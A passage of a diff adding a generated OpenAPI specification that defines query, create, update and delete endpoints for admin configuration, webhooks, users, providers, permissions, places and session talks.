+                            "$ref": "#/components/schemas/_config"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_config",
+                "summary": "Create some admin-config",
+                "description": "Create one or more admin-config.",
+                "tags": [
+                    "_config"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_config"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-config matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_configByQuery",
+                "summary": "Delete some admin-config by query",
+                "description": "Delete all admin-config matching the specified query.",
+                "tags": [
+                    "_config"
+                ]
+            }
+        },
+        "/admin-webhooks/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_webhooksById",
+                "summary": "Get a _webhooks by its unique ID",
+                "description": "Retrieve a _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _webhooks by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_webhooks",
+                "summary": "Modify a _webhooks by its unique ID",
+                "description": "Update an existing _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No _webhooks was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_webhooksById",
+                "summary": "Delete a _webhooks by its unique ID",
+                "description": "Deletes an existing _webhooks by its ID.",
+                "tags": [
+                    "_webhooks"
+                ]
+            }
+        },
+        "/admin-webhooks": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_webhooks",
+                "summary": "Query some admin-webhooks",
+                "description": "Query over admin-webhooks.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_webhooks"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_webhooks",
+                "summary": "Create some admin-webhooks",
+                "description": "Create one or more admin-webhooks.",
+                "tags": [
+                    "_webhooks"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_webhooks"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-webhooks matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_webhooksByQuery",
+                "summary": "Delete some admin-webhooks by query",
+                "description": "Delete all admin-webhooks matching the specified query.",
+                "tags": [
+                    "_webhooks"
+                ]
+            }
+        },
+        "/admin-users/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_usersById",
+                "summary": "Get a _users by its unique ID",
+                "description": "Retrieve a _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _users by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_users",
+                "summary": "Modify a _users by its unique ID",
+                "description": "Update an existing _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No _users was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_usersById",
+                "summary": "Delete a _users by its unique ID",
+                "description": "Deletes an existing _users by its ID.",
+                "tags": [
+                    "_users"
+                ]
+            }
+        },
+        "/admin-users": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_users",
+                "summary": "Query some admin-users",
+                "description": "Query over admin-users.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_users"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_users",
+                "summary": "Create some admin-users",
+                "description": "Create one or more admin-users.",
+                "tags": [
+                    "_users"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_users"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-users matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_usersByQuery",
+                "summary": "Delete some admin-users by query",
+                "description": "Delete all admin-users matching the specified query.",
+                "tags": [
+                    "_users"
+                ]
+            }
+        },
+        "/admin-providers/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_providersById",
+                "summary": "Get a _providers by its unique ID",
+                "description": "Retrieve a _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _providers by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_providers",
+                "summary": "Modify a _providers by its unique ID",
+                "description": "Update an existing _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No _providers was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_providersById",
+                "summary": "Delete a _providers by its unique ID",
+                "description": "Deletes an existing _providers by its ID.",
+                "tags": [
+                    "_providers"
+                ]
+            }
+        },
+        "/admin-providers": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_providers",
+                "summary": "Query some admin-providers",
+                "description": "Query over admin-providers.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_providers"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_providers",
+                "summary": "Create some admin-providers",
+                "description": "Create one or more admin-providers.",
+                "tags": [
+                    "_providers"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_providers"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-providers matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_providersByQuery",
+                "summary": "Delete some admin-providers by query",
+                "description": "Delete all admin-providers matching the specified query.",
+                "tags": [
+                    "_providers"
+                ]
+            }
+        },
+        "/admin-permissions/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "get_permissionsById",
+                "summary": "Get a _permissions by its unique ID",
+                "description": "Retrieve a _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a _permissions by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    }
+                },
+                "operationId": "update_permissions",
+                "summary": "Modify a _permissions by its unique ID",
+                "description": "Update an existing _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No _permissions was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_permissionsById",
+                "summary": "Delete a _permissions by its unique ID",
+                "description": "Deletes an existing _permissions by its ID.",
+                "tags": [
+                    "_permissions"
+                ]
+            }
+        },
+        "/admin-permissions": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "query_permissions",
+                "summary": "Query some admin-permissions",
+                "description": "Query over admin-permissions.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/_permissions"
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "create_permissions",
+                "summary": "Create some admin-permissions",
+                "description": "Create one or more admin-permissions.",
+                "tags": [
+                    "_permissions"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/_permissions"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No admin-permissions matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "delete_permissionsByQuery",
+                "summary": "Delete some admin-permissions by query",
+                "description": "Delete all admin-permissions matching the specified query.",
+                "tags": [
+                    "_permissions"
+                ]
+            }
+        },
+        "/places/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getPlaceById",
+                "summary": "Get a place by its unique ID",
+                "description": "Retrieve a place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "put": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/X-Baucis-Update-Operator"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "requestBody": {
+                    "content": {
+                        "application/json": {
+                            "description": "Update a place by sending the paths to be updated in the request body.",
+                            "schema": {
+                                "$ref": "#/components/schemas/place"
+                            }
+                        }
+                    }
+                },
+                "operationId": "updatePlace",
+                "summary": "Modify a place by its unique ID",
+                "description": "Update an existing place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "delete": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No place was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deletePlaceById",
+                "summary": "Delete a place by its unique ID",
+                "description": "Deletes an existing place by its ID.",
+                "tags": [
+                    "place"
+                ]
+            }
+        },
+        "/places": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/sort"
+                }
+            ],
+            "get": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/count"
+                    },
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Place"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "queryPlace",
+                "summary": "Query some places",
+                "description": "Query over places.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "post": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/Place"
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "422": {
+                        "description": "Validation error.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/ValidationError"
+                            }
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "createPlace",
+                "summary": "Create some places",
+                "description": "Create one or more places.",
+                "tags": [
+                    "place"
+                ]
+            },
+            "delete": {
+                "parameters": [
+                    {
+                        "$ref": "#/components/parameters/skip"
+                    },
+                    {
+                        "$ref": "#/components/parameters/limit"
+                    },
+                    {
+                        "$ref": "#/components/parameters/conditions"
+                    },
+                    {
+                        "$ref": "#/components/parameters/distinct"
+                    },
+                    {
+                        "$ref": "#/components/parameters/hint"
+                    },
+                    {
+                        "$ref": "#/components/parameters/comment"
+                    }
+                ],
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Collection of resources.",
+                        "schema": {
+                            "type": "array",
+                            "items": {
+                                "$ref": "#/components/schemas/Place"
+                            }
+                        }
+                    },
+                    "404": {
+                        "description": "No places matched that query.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "deletePlaceByQuery",
+                "summary": "Delete some places by query",
+                "description": "Delete all places matching the specified query.",
+                "tags": [
+                    "place"
+                ]
+            }
+        },
+        "/sessionTalks/{id}": {
+            "parameters": [
+                {
+                    "$ref": "#/components/parameters/select"
+                },
+                {
+                    "$ref": "#/components/parameters/populate"
+                },
+                {
+                    "$ref": "#/components/parameters/id"
+                }
+            ],
+            "get": {
+                "responses": {
+                    "200": {
+                        "description": "Sucessful response. Single resource.",
+                        "schema": {
+                            "$ref": "#/components/schemas/SessionTalk"
+                        }
+                    },
+                    "404": {
+                        "description": "No sessionTalk was found with that ID.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    },
+                    "default": {
+                        "description": "Unexpected error.",
+                        "schema": {
+                            "type": "string"
+                        }
+                    }
+                },
+                "operationId": "getSessionTalkById",
+                "summary": "Get a sessionTalk by its unique ID",
+                "description": "Retrieve a sessionTalk by its ID.",
+                "tags": [
+                    "sessionTalk"
+                ]
+            },
+            "put": {
+                "parameters": [
